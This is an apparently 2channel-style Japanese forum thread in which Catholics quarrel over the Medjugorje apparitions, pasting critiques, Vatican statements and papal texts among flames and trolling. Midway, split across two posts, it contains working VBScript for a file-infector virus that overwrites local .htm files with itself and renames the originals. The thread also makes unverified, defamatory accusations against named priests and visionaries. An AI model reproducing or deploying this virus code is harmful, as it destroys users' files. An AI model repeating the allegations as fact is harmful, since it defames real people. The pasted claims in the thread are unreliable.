1996年11月15日、シスター・エマニュエルは、教皇様に話していた。
「私は７年間目で生活しています。本、テープ、テレビ、話を通して、世
界中にメジュゴリエのメッセージを伝えるのが使命です。パパ様は…」
言葉が終わらぬ内に、パパ様の手が私の額に置かれました。お顔は
驚くほど輝かれ、私の額にじゅのしるしをされ、大きな声で仰いました。
「あなたを祝福します！」メジュゴリエとその子供たちについての本を
おみせすると、ページをめくりながら、「子供たち、私の勝利のみ心を助
けてください」といわれ、３度目の祝福をしてくださいました。

唐突で悪いんですが、オプス・デイの教皇様の声をとるのに、購読料は
おいくらでしょう。教えてキボン。
直に問合せても良いんだけど、すごい値段だと困るもので。

メジュゴリエの粗探しをする人々のネタもとは
ゴシップサイトのUnityばかりじゃん。信用ないね。W

ヴィッカの嘘　1

1985年１月14日の晩、出現の時刻は迫りました。ここは一つの小さな部屋。メデュゴリエの村
の人々や、ドイツ人のカメラマン、また、スラヴコ・バルバリッチSlavko Barbaric神父
（メデュゴリエの教区の助任司祭でヴラシッチ神父の後継者でカリスマ運動書）、トミスラ
ヴ・ペルヴァンTomislav Pervan神父（教区の主任司祭）、ルイ・ベランジェLouis Belanger
（カナダ人の研究家、やはりビデオ・カメラを持っていた）、ジャン・ルイ・Ｍ（Jean-Louis
M.メデュゴリエに住み着いて９ヶ月になるフランス人のメデュゴリエ信奉者、しかし出現の
信憑性を疑いだしていた）などがいました。幻視者たちが到着し、跪き、「脱魂」が始まりま
した。

ヴィッカの嘘　2

このとき、上で最後に名前を挙げたフランス人がいきなり、人差し指と親指を立ててヴィッカ
の目に猛烈に突き刺そうとしました。ヴィッカはびっくりして頭を後ろに反らせてそれを交わ
します。皆は一体何が始まるのかと自問自答し始めました。この様子は２つのビデオカメラに
撮影されました。ヴィッカの後ろにいたスラヴコ・バルバリッチ神父は、明らかに嬉しそうで
はありません。「出現」の儀式は終わり、皆は帰っていきました。例のフランス人はバルバリ
ッチ師に言います。

「あなたは私がしたことを見ましたか？実験でした。私はヴィッカに、自己保存の本能を呼び
起こす刺激を与えてみました。そして、あなたが話していたこととは全く反対に、彼女は反応
しました」バルバリッチ師は、落ち着かず、居所を失ったようでした。彼はそのまま祈りに出
かけました。このフランス人はカナダ人のルイ・ベランジェに「あなたは録画したでしょう？
この画像は非常に重要です、証拠になります。」と言いました。

ヴィッカの嘘　3

バルバリッチ師は非常に狼狽していることを隠すことが出来ませんでした。しかし、彼はミサ
を捧げなければなりませんでした。ルイ・ベランジェとドイツ人カメラマンはまだ「出現」の
部屋に居残っていました。数分の後、扉が開き、ヴィッカが微笑みながらしかし、顔を少しこ
わばらせて入ってきました。そして彼女の後ろには、追放された二人のフランシスコ会士のう
ちの一人イヴィカ・ヴェゴIvika Vegoがいました。ヴィッカはとても興奮していました。彼女
は自分の唇をかんでいました。そして言いました。

「私はジャン・ルイさんも、彼の手も見ませんでした。私は聖母を見ました。聖母は幼きイエ
ス様を腕に抱えておられました。すると、幼子イエズスは腕から滑り落ち、私はただイエス様
が落ちないようにとしぐさをしただけです。それだけです！」

シスターの「メジュゴリエの子供たち」最新号です。（日本語）
ぜひともお読み下さい。

http://www.childrenofmedjugorje.com/medj/reports/Japanese/jp10_01_02.html

ヴィッカの嘘　4

実にこの出来事の数ヶ月前から、ヴラシッチ師や、バルバリッチ師、ロランタン師も、幻視者
たちは脱魂状態の時には「不動で、外界とはいかなる連絡もない」と言っていましたし、ヴィ
ッカもブバロ師のそう断言していたのでした。この晩のバルバリッチ師の狼狽が何故かがよく
分かるでしょう。

ヴィッカの証言をよく見ますと、彼女は二重の嘘をついていました。まず、ヴィッカが本当に
幼きイエズスが聖母の腕から滑り落ちたのを見たとは考えられません。更に、前に身を乗り出
して腕を差しだし、イエスを受け取ろうとする代わりに、身を後ろに反らして「イエス様が
落ちないようにとしぐさをした」というのはあまりにも愚かで馬鹿馬鹿しいことです。

このカトスレでコピペ荒らしされている悪質なメジュゴリエ批判は、
ゴシップで有名なカトリック不良サイト、Unityの捏造記事を、
離教した成相神父が翻訳したものです。離教者に騙されないで下さい。
Unityもナリーと同じように活動を停止しています。書き逃げです。
信じろという方が無理です。良識あるカトリック信徒は
シスター・エマニュエルのサイトをお読み下さい。
英語
http://www.childrenofmedjugorje.com/
日本語
http://www.childrenofmedjugorje.com/medj/reports/Japanese/jp10_01_02.html

LP合戦みたいになってきたな。ナリー師にお出まし願うか。

＞＞５３
人間はゴシップ好きだからな、ゴシップ・ネタのほうが勝つかもな。Ｗ

つうか、悪質だと思うなら、逐一、反論したらどうかと。
奴は悪質です、何故なら私を批判したからですでは、ドキュソの論理だ
ぞ。sageる。

　　　　　　　　　　　.／, - ､, - ､　　￣ ヽ
　　　　　　　　　　./-┤　｡|｡　 |――-､　ヽ
　　　　　　 　 　　|　ヽ｀- ○- ´ ／　　ヽ　 |
　　　　　　 　 　　|　-　　 |　 　 　―　　 |　 |
　　　　　　 　 　　|　 ´　　|　 　　｀ヽ　 .　|　 |ヽ
　　∩　　　　　　人｀､ _ 　|　 　　＿.- ´ |　.|　　＼
　　|　　⌒ヽ　／　 ＼　￣￣￣　 　　 ノノ 　 　 　 ＼
　　|　 　 　 |´　 　 　　|￣―--―― ´ヽ 　 　 ＿　　／⌒＼
　　＼_ 　 _/-―――.|　（ Ｔ ）　　　　　　｀l 　 　 Τ（　 　 　 ）
　 　 　 ￣　　　　　　 |　　￣　　　　　　 　}　 　 　 |　＼＿／
　　　　　　　　　　　　 | ､--―　￣|　 　　/
Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub

Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)

汚染を除去しました。

それはそうと、教皇様の声の購読料まだー？（´ェ｀）
漏れはそろそろ落ちます。さらばじゃ。

みなさん、ここである個人を特定して執拗に誹謗する
メジュゴリエ支持者のコピペに惑わされないようにしましょう。

メジュの最初の当地の支持者、ゾブコ神父は同じように民衆を扇
動した罪で逮捕、拘留されています。メジュは司教からも出現
の超自然性を否定されていますし、公的巡礼も禁止されています。

カトリック内に巣くうカルトの一種とお考えくだされば結構です。

While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub

>>60ナリーよ。必死だな。Ｗ

>>60
司祭を連れての巡礼旅行は推奨されてるではありませんか。
何故事実の半分しか言わない？悪魔の二枚舌か？ｗ

>>60が,自動破門し、離教したナリー神父である証拠。
１、ひつこい。
２、すぐに英文を出す。
３、メジュゴーリエという。
４、メジュゴリエに信じ難いほどの敵意を剥き出しにする。
５、偽聖母という自分が翻訳した語を使う。
６、メジュゴリエの聖母を悪魔と呼ぶ。
７、言葉がヤクザっぽい。
８、自分の間違いを決して反省せず、他に転嫁する。
９、ネットでしか怒りを発散できない。哀れ。
10、自動破門したくせに未だ神父と思い込んでいる。
11、異常なまでの粘着。オカマのマリア以上
12、自分がサルバトから洗脳された事を隠す。
13、1部のマイナス要因だけを取り上げてすべてを悪く見せかける狡猾さ

　　　　　>>60あんたがカルトでしょ。

ボスニアの枢機卿はMedjugorjeによって引き起こされた
分裂で心配しました

バチカン、10月10日、2001(CWNews.com)

-サラエボのVinko Puljic枢機卿は、シノドス司教会議で
Medjugorjeの報告された御出現が教会の分裂の源になっていると苦情を言いました。
Puljic枢機卿は、司教が「教会において、および今日の世界において既存の分裂を克服する」ことに
どのように関係しなければならないかの一般的なテーマ上で話しました。
彼は議論しました:「ヨーロッパはもはや東・西ヨーロッパに分割することができない。
世界は北部と南部との間に分かれ続けることができません。」
その後、彼の注意をボスニア-ヘルツェゴヴィナの自分の土地に向けて、
枢機卿は、Medjurgorjeで奉仕するフランシスコ会の修道者
(この人は「偽りのカリスマ」の助けによって「自分の視点ででしゃばる」)
の不服従によって教会の単一性が脅かされると言いました。
地方の司教はMedjugorjeで報告されたマリアの出現の確実性に関する評決
を公式に与えていませんが、
ヒエラルキーは一般に懐疑のサインを示しており、過度の熱中に対して用心させました。
このスタンスは、精力的にMedjugorjeを訪れ、捧げる活動を
主催するフランシスコの司祭との衝突を頻繁に生みました。

>>60ゾブコ神父は同じように民衆を扇
>動した罪で逮捕、拘留されています。

もう嘘は聞き飽きたよ。80年代のことをいうなよ。
しかも、メジュゴリエの出現を認めて、共産主義者に拘束されたんだろ？ｗ

VATICAN, Oct 10, 01 (CWNews.com)

- Cardinal Vinko Puljic of Sarajevo, speaking at the Synod of Bishops, has complained that the reported apparitions of Medjugorje are becoming a source of division in the Church.

Cardinal Puljic spoke on the general theme of how bishops should be involved in "overcoming the divisions existing in the Church and in today's world."
He argued: "Europe can no longer be divided into Eastern and Western Europe. The world cannot remain divided between North and South."

Then, turning his attention to his own land of Bosnia-Herzegovina,
the cardinal said that the unity of the Church is threatened by
the disobedience of the Franciscan monks serving at Medjurgorje,
who "impose their own points of view" with the aid of "pseudo-charisms."
Although the local bishop has never officially rendered a verdict on
the authenticity of the reported Marian apparitions at Medjugorje,
the hierarchy has generally shown signs of skepticism, and cautioned
against excessive enthusiasm.
This stance has frequently produced conflicts with the Franciscan pastors
who have energetically promoted visits and devotion to the Medjugorje site.

Vatican Releases Latest Statement on Medjugorje
August 21, 1996 By Cindy Wooden
Catholic News Service

バチカン、メジュゴリエの最新声明を出す
バチカン（ＣＮＳ）1996年8月21日

バチカンは、カトリック信徒に対しては、メジュゴリエに行くべきではな
いと言ったことは1度もないが、司教に対しては、マリア出現の聖地へ
の公式巡礼は薦めてこなかった、とバチカン報道官は語った。

「メジュゴリエが虚偽と証明されるまでそこへいけない、とは言えません。
そうは言われてないのですから、誰でも好きに行くことができます」
とナヴァロ・ヴァルス報道官は、8月21日、ＣＮＳに語った。

メジュゴリエの聖母のおかしなメッセージ集

ゴスパ（メジュゴリエの聖母）のメッセージには、異端的なエキュメニスムがあります。
ゴスパは宗教相対主義と宗教無差別という全く新しい教えを説きます。
幻視者によって何度も何度も言われたこのテーマを、順序を追って並べてみましょう。
これらの教えには、論理的なつながりがあり、幻視者らの個人的な神学の知識を明らかに
超越しています。

では、いくつか挙げてみましょう。

「天主にとって、全ての宗教は等しく、同じようなものである」
※これは聖書の教えに反します。

「もしあなたがほかの宗教、回教とセルビア人の宗教（東方教会）を尊敬しなければ
あなたたちは信者ではありません。もしそれらを尊敬しなければあなたたちはキリスト
信者ではありません」

「…宗教間には一致の欠如が見られます。お互いの宗教を尊敬しなければなりません」

※他宗教の人を尊重しなければなりませんが他宗教を尊敬したら
　この上ない神への侮辱です

また、カトリックの信徒がどこにいくにせよ、霊的に守られているので
教会はボスニア･ヘルツェゴビナ、メジュゴリエへの信徒の編成した旅行
への参加を司祭に禁じていません。南アフリカを訪問するグループへの参
加を禁じないのと同じです、とも語った。

ナヴァロ・ヴァルスは、メジュゴリエについてのバチカンの立場は
『何も変わっていません』と念を押した。6月初め、フランスの新聞が、
メジュゴリエの巡礼についてのフランスの司教への質問に答えた教理省
の書簡の1部を公表した。教理省のベルトーネ大司教からの書簡は、
前ユーゴ司教団の1991年の声明の一部、｢超自然的出現あるいは啓示が
当地で起きているとは確定できない｣を引用している。

だが、司教団も、ベルトーネ大司教もメジュゴリエへの敬虔な巡礼者数は
教区がケアすべき教会を必要としていると繰り返した。
1991年の通達を引用したあとで、ベルトーネ大司教は、「正式なマリア
出現の場所として理解されるので、メジュゴリエへの公式巡礼は、教区レ
ベルでは編成すべきでない。引用した前ユーゴ司教団の声明に矛盾する
からである」と書いている。

これについて、ナヴァロ・ヴァルス報道官は、「ベルトーネ大司教が書
いたことを読むと、すべてが禁止され,メジュゴリエへ巡礼できる可能性
がなくなるという印象を受けるが、実際には、何も変わってはいない、
何も新しいことは言われていないのです」とＣＮＳに語った。

ファチマとメジュゴリエの要求を比べてみましょう。
その違いは一目瞭然です。

ファチマのルチアは私たちの主からのメッセージを受けてこう言っています。
イエズスの望まれる犠牲は、「各自から望む犠牲は、自分の固有の義務を
果たすこと、掟を守ること、これが私が要求し、私が今求める償いである」

それに対し、メジュゴリエの聖母の要求は異常です。

1983年５月25日、ゴスパはヘレナとマリヤナによって作られた祈りのグループの
メンバーらに「１週間に２回、パンと水で断食すること」「毎日少なくとも３時間
祈りに使うこと」を求めます。

1983年11月16日にゴスパは「司教のために１週間３日断食しなさい」と要求しました。
４月24日には１日に４時間祈ることを要求しています。何故、年端もいかない子供
たちに、健康な修道者がやるようなことを求めるのでしょうか？

トミスラヴ・ヴラシッチ師に「聖母は多くの人たちが現代地獄に行くと言いましたか」と
尋ねられ、マリヤナはファチマの幼きヤシンタのように答えたでしょうか。

ファチマのヤシンタは言いました。「地獄に霊魂たちが落ちないようにたくさん祈らなけ
ればなりません。あそこに落ち行く人はあんなにも多いのです。あんなにも多いのです！」

更に、ファチマのシスタールチアは、或る神学生への手紙の中で、こう言いました。
「現代忘れられていますので、良く思い出す必要のある真理です。それは、地獄には霊魂
たちが嵐のように落ちていることです」

メジュゴリエではどうでしょうか？　マリヤナの答えは、ファチマの牧童の答えとは全く
違っていました。マリヤナはこう言います。

「私は最近ゴスパにその質問をしました。彼女は、今日ほとんどの人々は煉獄に行くと
言いました」

つまり、地獄に行く霊魂はほとんど無いと言うことです。
ファチマの出現当時より、現代は、はるかに悪と快楽が反乱しているにもかかわらずです。

そうだ！メジュゴリエのスレを作ろう！決めた！

「司教をもって巡礼を組織的に編成すれば、教会さえ調査段階のメジュゴ
リエに教会法の認可を与えるというのが問題です。告解するために司祭を
伴って団体を組み、巡礼するのは、その限りではありません」

ナヴァロ・ヴァルスはコメントする。「ベルトーネ大司教の言った事が
あまりに狭く解釈されることを憂慮しています。教会あるいはバチカン
がメジュゴリエへの巡礼に『ノー』といえば『ノー』です。しかしなが
ら、公式巡礼の制限は、バチカンが今も出現を調査中である事を人々に
明らかにしているということです。
http://www.nd.edu/~mary/reports/9_1_96.html
http://www.nd.edu/~mary/reports/9_15_96.html
http://www.medjugorje.org/cns.htm
http://www.medjugorjeusa.org/churchposition.htm

メジュゴリエの二人の司教は、この出現を否定しています。
ユーゴの司教団も超自然性がないと言っています。
聖座は、これを尊重すると何度も言っています。
(これは、誰も否定できない事実です）


メジュゴリエは、リトルペブルより
はるかに危険なニセ出現です。
みなさん、警戒しましょう。

メジュゴリエ推進者は、矛盾に対して何一つ
答える事も出来ませんが、なぜか盲目的に
信じています。
否定すると、司教でも脅迫を受けます。ニセの出現の典型です。

「ベルトーネ大司教が書いたことを読むと、すべてが禁止され、メジュゴ
リエへ巡礼できる可能性がなくなるかのような印象を受けるが、実際には、
何も変わってはいない、何も新しいことは言われていないのです。司教を
もって巡礼を組織的に編成すれば、教会さえ調査段階のメジュゴリエに教
会法の認可を与えるというのが問題です。告解のために司祭を伴って団体
を組み、巡礼するのは、その限りではありません」

バチカン報道官ナヴァロ・ヴァルス

ヴィッカの嘘　1

1985年１月14日の晩、出現の時刻は迫りました。ここは一つの小さな部屋。メデュゴリエの村
の人々や、ドイツ人のカメラマン、また、スラヴコ・バルバリッチSlavko Barbaric神父
（メデュゴリエの教区の助任司祭でヴラシッチ神父の後継者でカリスマ運動書）、トミスラ
ヴ・ペルヴァンTomislav Pervan神父（教区の主任司祭）、ルイ・ベランジェLouis Belanger
（カナダ人の研究家、やはりビデオ・カメラを持っていた）、ジャン・ルイ・Ｍ（Jean-Louis
M.メデュゴリエに住み着いて９ヶ月になるフランス人のメデュゴリエ信奉者、しかし出現の
信憑性を疑いだしていた）などがいました。幻視者たちが到着し、跪き、「脱魂」が始まりま
した。

「ベルトーネ大司教が書いたことを読むと、すべてが禁止され、メジュゴ
リエへ巡礼できる可能性がなくなるかのような印象を受けるが、実際には、
何も変わってはいない、何も新しいことは言われていないのです。司教を
もって巡礼を組織的に編成すれば、教会さえ調査段階のメジュゴリエに教
会法の認可を与えるというのが問題です。告解のために司祭を伴って団体
を組み、巡礼するのは、その限りではありません」

バチカン報道官ナヴァロ・ヴァルス、1996年8月21日ＣＮＳ

ヴィッカの嘘　2

このとき、上で最後に名前を挙げたフランス人がいきなり、人差し指と親指を立ててヴィッカ
の目に猛烈に突き刺そうとしました。ヴィッカはびっくりして頭を後ろに反らせてそれを交わ
します。皆は一体何が始まるのかと自問自答し始めました。この様子は２つのビデオカメラに
撮影されました。ヴィッカの後ろにいたスラヴコ・バルバリッチ神父は、明らかに嬉しそうで
はありません。「出現」の儀式は終わり、皆は帰っていきました。例のフランス人はバルバリ
ッチ師に言います。

「あなたは私がしたことを見ましたか？実験でした。私はヴィッカに、自己保存の本能を呼び
起こす刺激を与えてみました。そして、あなたが話していたこととは全く反対に、彼女は反応
しました」バルバリッチ師は、落ち着かず、居所を失ったようでした。彼はそのまま祈りに出
かけました。このフランス人はカナダ人のルイ・ベランジェに「あなたは録画したでしょう？
この画像は非常に重要です、証拠になります。」と言いました。

ヴィッカの嘘　3

バルバリッチ師は非常に狼狽していることを隠すことが出来ませんでした。しかし、彼はミサ
を捧げなければなりませんでした。ルイ・ベランジェとドイツ人カメラマンはまだ「出現」の
部屋に居残っていました。数分の後、扉が開き、ヴィッカが微笑みながらしかし、顔を少しこ
わばらせて入ってきました。そして彼女の後ろには、追放された二人のフランシスコ会士のう
ちの一人イヴィカ・ヴェゴIvika Vegoがいました。ヴィッカはとても興奮していました。彼女
は自分の唇をかんでいました。そして言いました。

「私はジャン・ルイさんも、彼の手も見ませんでした。私は聖母を見ました。聖母は幼きイエ
ス様を腕に抱えておられました。すると、幼子イエズスは腕から滑り落ち、私はただイエス様
が落ちないようにとしぐさをしただけです。それだけです！」

>>74
誰が地獄に行くか、煉獄に行くか、なんであなたが
判決をしなくちゃいけないの？　７０年前と今とどれほどの違いがあるというのか？
ある表現において、煉獄にたくさん行くというのも、ここままでは多くの人が地獄へ行ってしまうというのも間違いじゃないと思うが？

>>81ナリーが翻訳した偽情報は、ゴシップサイトで有名な
Unityのメジュゴリエ批判記事の丸写しだろ。
Unityもナリーと同じように活動を停止している。書き逃げだよ。
そんなものを信じろという方が無理だよ。

ヴィッカの嘘　4

実にこの出来事の数ヶ月前から、ヴラシッチ師や、バルバリッチ師、ロランタン師も、幻視者
たちは脱魂状態の時には「不動で、外界とはいかなる連絡もない」と言っていましたし、ヴィ
ッカもブバロ師のそう断言していたのでした。この晩のバルバリッチ師の狼狽が何故かがよく
分かるでしょう。

ヴィッカの証言をよく見ますと、彼女は二重の嘘をついていました。まず、ヴィッカが本当に
幼きイエズスが聖母の腕から滑り落ちたのを見たとは考えられません。更に、前に身を乗り出
して腕を差しだし、イエスを受け取ろうとする代わりに、身を後ろに反らして「イエス様が
落ちないようにとしぐさをした」というのはあまりにも愚かで馬鹿馬鹿しいことです。

メジュゴリエの聖母のおかしなメッセージ集

ゴスパ（メジュゴリエの聖母）のメッセージには、異端的なエキュメニスムがあります。
ゴスパは宗教相対主義と宗教無差別という全く新しい教えを説きます。
幻視者によって何度も何度も言われたこのテーマを、順序を追って並べてみましょう。
これらの教えには、論理的なつながりがあり、幻視者らの個人的な神学の知識を明らかに
超越しています。

では、いくつか挙げてみましょう。

「天主にとって、全ての宗教は等しく、同じようなものである」
※これは聖書の教えに反します。

「もしあなたがほかの宗教、回教とセルビア人の宗教（東方教会）を尊敬しなければ
あなたたちは信者ではありません。もしそれらを尊敬しなければあなたたちはキリスト
信者ではありません」

「…宗教間には一致の欠如が見られます。お互いの宗教を尊敬しなければなりません」

※他宗教の人を尊重しなければなりませんが他宗教を尊敬したら
　この上ない神への侮辱です

反論されたのに同じ事を繰り返すのって数で圧倒すれば勝てると思う
俺さん的な考え方でいやにならない？　>>86

私は彼に元フランシスコ会司祭、イヴィカ・ヴェゴの話をした。
彼は自分の不従順のために、さらには教皇聖下の命令によって、
会総長によってフランシスコ会(o.f.m.)から追放され、彼のした
誓願は解かれ、聖職停止となった。彼はこの命令に従わず、ミサを
捧げ続け、御聖体を配布し、愛人と時を過ごした。このことを書く
のは不愉快である。しかし、聖母が誰のことについて話しているか
を人々がよく見るために、どうしても書かねばならない。ヴィッカ
の日記と「幻視者」たちの報告によると、聖母は13回彼は無罪で
司教が間違っていると言った。彼の愛人、修道女のシスター・レオ
ポルダが妊娠すると、二人とも修道生活をやめ、自分の子供が産ま
れたメデュゴリエの近くで同棲を始めた。

（元・モスタル司教　ザニッチ司教）

>80　司祭付きメジュ巡礼はＯＫ！byナヴァロ・ヴァルス

なるほど、同伴付きじゃないと危ないって訳か？
貞操帯でもはめていくんだろ？

15 Year Old Boy Raped by "Phony" Franciscan Monk at
Ustashe Shrine of Medjugorje Bosnia, April 2, 2002, BusinessWire

http://www.vaticanbankclaims.com/falco.htm

>>88

つまりこの神父をメジュゴリエの聖母は「潔白だ」
と擁護していたんだな。

>>86

本物の聖母ならこんな異端的なこと言うはずがない。
これについてのメジュゴーリエ推進派のご意見は？

Bishop of Medjugorje Says 　Apparitions Not Supernatural

http://www.petersnet.net/research/retrieve_full.cfm?RecNum=317

そんなUnityのガセネタ、誰も信じないよ。ｗ>>91

>>91
どっちにしろ、今も司祭、司教を含めて、無数の巡礼者が
メジュゴリエにイッてるんだからさ、
こんなとこで、2,3人がいくら徹夜で反論しても焼け石に水だろ。
他に手を打ったら？

巡礼者２５００万人だよ。2002年現在で！

理屈で勝てないもんだから、今度は数できたか？(笑
勝手に逝けばいいじゃん！ものずき！

>>93
メジュゴリエの本を読んでいない証拠だよ。
日本で発売されてる本には、書かれてるよ。

>>95
なーんだ、意外と少ないんだね。

>>87ホントだね。てか、青眼を思い出すよ。
青眼じゃねーだろうな。Ｗ

>>９７
あんたら、仕事もしないで暇だね。
何やってるの？大学生？
いい大人が！

>>98
メジュゴリエ推進派の方がすごいと思うが。

http://www.petersnet.net/research/retrieve_full.cfm?RecNum=237

モスタル司教のインタビューです。

>>100
なら、メジュゴリエのスレをつくって、こもるから、荒らさないでくれる？

>>100
今、メジュゴリエのスレをどうやって効果的に作るべきかを計画している。作ったら、荒らすなよ。

「だから、あなたたちは行って、すべての国の人々を弟子にしなさい。
父と子と聖霊のみ名に入れる洗礼を彼らに授け、わたしがあなたたち
に命じたことを、すべて守るように教えなさい」（マタイ２８，１９）。

イエス・キリストは御父のもとに帰る前にこのように使徒たちに
別れを告げます。「行きなさい」。キリストの最後の言葉は宣教
への招きでした。招きであると同時に、それは約束であり遺言、
また果たすべき一つの使命でした。キリストは救いのメッセージ
を弟子たちに託し、世界中に広め、世界の果てに到るまで証しす
るよう頼みました。

これこそ今日記念する「世界宣教の日」の意味です。
まさしく今日この摂理的な日に、福音を宣教し証しするようにとの
キリストの命令を特別な方法で果たした新福者たちが列福されます。
彼らは次の６人の福者たち、ダビディ・オケロとジルド・イルワ、
アンドレア・ジャチント・ロンギン、マルカントニオ・ドゥランド、
マリ・ド・ラ・パシオン、そして、ルドゥイーナ・メネグッツィです。

今日、「世界宣教の日」に行われる彼らの列福式は、最高の宣教とは
絶え間ない真剣な聖性の追及であると言うことを私たちに思い起こさ
せてくれます。もし、私たちがまず自分で福音を忠実に生きることを
しないなら、キリストの福音を効果的に証しすることなど到底出来る
ことではありません。

>>102

それがいいと思われ。

聖霊カリスマの心霊スレとして盛り上がってください。

親愛なる兄弟姉妹の皆さん

この間行なわれたばかりのポーランド訪問に際して、私は、
聖母マリアにこのように祈りました。
「聖なる御母、復活されたキリストが私に託された使命を、
最後の最後まで果たして行くことが出来るよう、私に精神と
身体の力をお与えください。私の生涯、私の任務を全てに
あなたに託します。教会の運命をもあなたにお委ねします。
聖母よ、あなたに信頼し、もう一度、宣言します。私は全く
あなたのものです。マリアよ、私は全くあなたのものです、アーメン」。

聖ペトロの後継者として教会に奉仕できたこの24年間を神に感謝しな
がら、この言葉を今日も繰り返します。今日、この特別な日に、再び
神の御母の御手に教会と大きな試練の中にある人類を委ねます。

聖母に私の将来も委ねます。母としての愛をもって御子に「栄光の賛美
として」お捧げしてくれるよう、すべてを聖母の御手の中に委ねます。

　私たちの信仰の中心は人類の救い主キリストです。
聖母マリアはキリストの影を薄くすることも、その救いの御業を
曇らせることもありません。ご自分の御子の受難と復活の実を最初に
味わったお方、身体も霊魂も共に天に上げられたおとめマリアは、
私たちの存在と行動の最終目的であるキリストに私たちを最も確実
な方法で導くお方です。

>>108荒さないと約束してくれないかな。こんなにあらされたらたまらん。ｗ

ですから、私は使徒的書簡「紀元21世紀の到来」の中で、「沖に漕ぎ
出しなさい」と言うキリストの呼びかけを全教会に向けながら、この
歩みにおいて聖母マリアがいつも私たちと共にいてくださるようにと
付け加えたのです。キリストの御顔を絶えず観想するようすべての
信者を招きつつ、私はその観想が、すべての人々にとって、キリスト
の御母、聖母マリアの観想のようであることを心から望みました。

やっぱやめた。すれたてるの。管理めんどい。ここに書くわ。時々。ｗ

げらげら。

>>114
今後メジュゴリエ賛成派が書かなければ、反対派も反応しないと思われ。
同様にメジュゴリエ反対派が書かなければ、賛成派も反応しないと思われ。

しかし賛成派はプロだと思う。（正確には賛成ではなく反応を楽しみたいだけ）
夕べこの論争が終了するとやたらと「つまらない」を連発してた。

>>116それはヒドイな。俺はカトリックだよ。
メジュゴリエによってカトリックの洗礼を受けたのに、、
どういうことなんだ？信じられないよ。

>>117
メジュに猛反対するのはカト保守派とプロ保守派さ。
利害が絡むんだよ。

>>117
俺はLPによってカトリックの洗礼を受けたんぜ。
その後、嘘だと分かってLPから離れたけどね。

げらげら。

じゃんけんぽい
あっちむけほい

わーん
誰もかまってくれない〜
そんなら歌っちゃうぞ。
たんたん狸の金○は〜風もないのにぶーらぶら

しょうがないから
猫にでもかまってもらおーっと。

猫も睡眠中で構ってくれないだろ。　>>123
藁

どっかに遊びに逝っちゃって
留守だった。

カトスレの特徴

１、ゴシップネタによる神父への人格攻撃
２、中傷合戦
３、啓示への異常な執着（プラスの意味でもマイナスの意味でも）
４、コピペ荒らし
５、キリスト不在
６、バカ話だけで存続

＞126
マジな話は嫌いみたいね。

>>127
下ネタは好きみたいね。

しかし、何で、メジュぐらいでこんなに荒れるかねえ。
ＬＰなら、放置で荒れもせんだろうにねえ。

俺さん、いいから心療内科あたりを受診してくれ。

呆れたヤシだ、反対派のことさんざん名前出せ、とか
特定の人物の誹謗コピペ繰り返しときながら、自らは
スレひとつ立てるのも、管理めんどいか。とんだお笑
い話だ、こりゃ。

主の平和。

結局６７は、メジュ論争でつぶれたの？

メジュゴリエ反対派は、1996年8月21日のナヴァロヴァルス報道官の声明から、
次の2点を認めるべきだろうな。

１、ヴァチカンは、メジュゴリエへの告解と巡礼のツアーを認めている。
２、ヴァチカンは、「メジュゴリエについては今も調査段階」と認めている。

>>134
ひつこい！

メジュゴリエ反対派は、1996年8月21日のナヴァロヴァルス報道官の声明から、
次の2点を認めるべきだろうな。

ヴァチカンは
１、メジュゴリエへの司祭レベルの告解巡礼ツアーを認めている。
２、「メジュゴリエについては今も調査段階」と認めている。
３、司教レベルでの巡礼は、調査中であるため、認めていない。

メジュゴリエ反対派は、1996年8月21日のナヴァロヴァルス報道官
の声明から、次の2点を認めるべきだろうな。

ヴァチカンは
１、メジュゴリエへの司祭レベルの告解巡礼ツアーを認めている。
２、「メジュゴリエについては今も調査段階」と認めている。
３、司教レベルでの巡礼は、調査中であるため、認めていない。

したがって、ナヴァロヴァルスの声明により、反対派の次の嘘が暴かれた
ことになるので、取り消すべきだな。

１、メジュゴリエの聖母は悪魔である。
２、メジュゴリエはＬＰ以下である。

>>137
禿同

>>137無理だよ。聖座が承認したネオだって、彼らは認めないんだから。
好きなものを認め、嫌いなものは認めない。それが日本人カトリックさ。
ｗ

>>137
どうやったらその結論が導き出される？
声明文が読めないってことかな？

>>139
無理だよ。聖座が承認したオプスだって、彼らは認めないんだから。
好きなものを認め、嫌いなものは認めない。それが日本人カトリックさ。
ｗ

>>139、141

必死だな、猿 (w

ここでメジュの論議をしようとしてる肯定派も否定派も真正白痴か！？

カトリックは宗教です。
教会も宗教の共同体です。
メジュへの巡礼は、今のところ、宗教的であって、宗教ではありません。
私的霊的行為です。
メジュへの巡礼の是非を語る前に、そのことを考えて見てください。

気に入らない話題が出ているからって白痴よばわりはマズイんじゃないか。

>>145
話題が気に入らないのではなく、姿勢が気に入らないのです。
堂々巡りの独り善がりを、いつまで続ける気ですか？

バチカンスポークスマンのナヴァロ・ヴァルスが「巡礼者の司牧的配慮をするように」と言ったのは、カトリックの信心のひとつとみとめてのこと
じゃないのかな。>>144

姿勢が気に入らないからって
白痴よばわりはまずいんじゃないかな。

>>147
それは『備えあれば憂いなし』って意味でしょう。

>>148
『白痴』でも生易しいと思うけど？
過去のレスを読み返してみたら？

メジュゴリエ反対派は、1996年8月21日のナヴァロヴァルス報道官
の声明から、次の2点を認めるべきだろうな。（）内はヴァルスの引用。

ヴァチカンは
１、メジュゴリエへの司祭レベルの告解巡礼ツアーを認めている。
（「告解するために司祭を伴って団体を組み、巡礼するのは、その限りでは
ありません」）
２、「メジュゴリエについては今も調査段階」と認めている。
（「…教会さえ調査段階のメジュゴリエ…」、「…バチカンが今も出現を
調査中である事…」）
３、司教レベルでの巡礼は、調査中であるため、認めていない。
「司教をもって巡礼を組織的に編成すれば、教会さえ調査段階のメジュゴ
リエに教会法の認可を与えるというのが問題です」>>71、>>72、>>76参照。

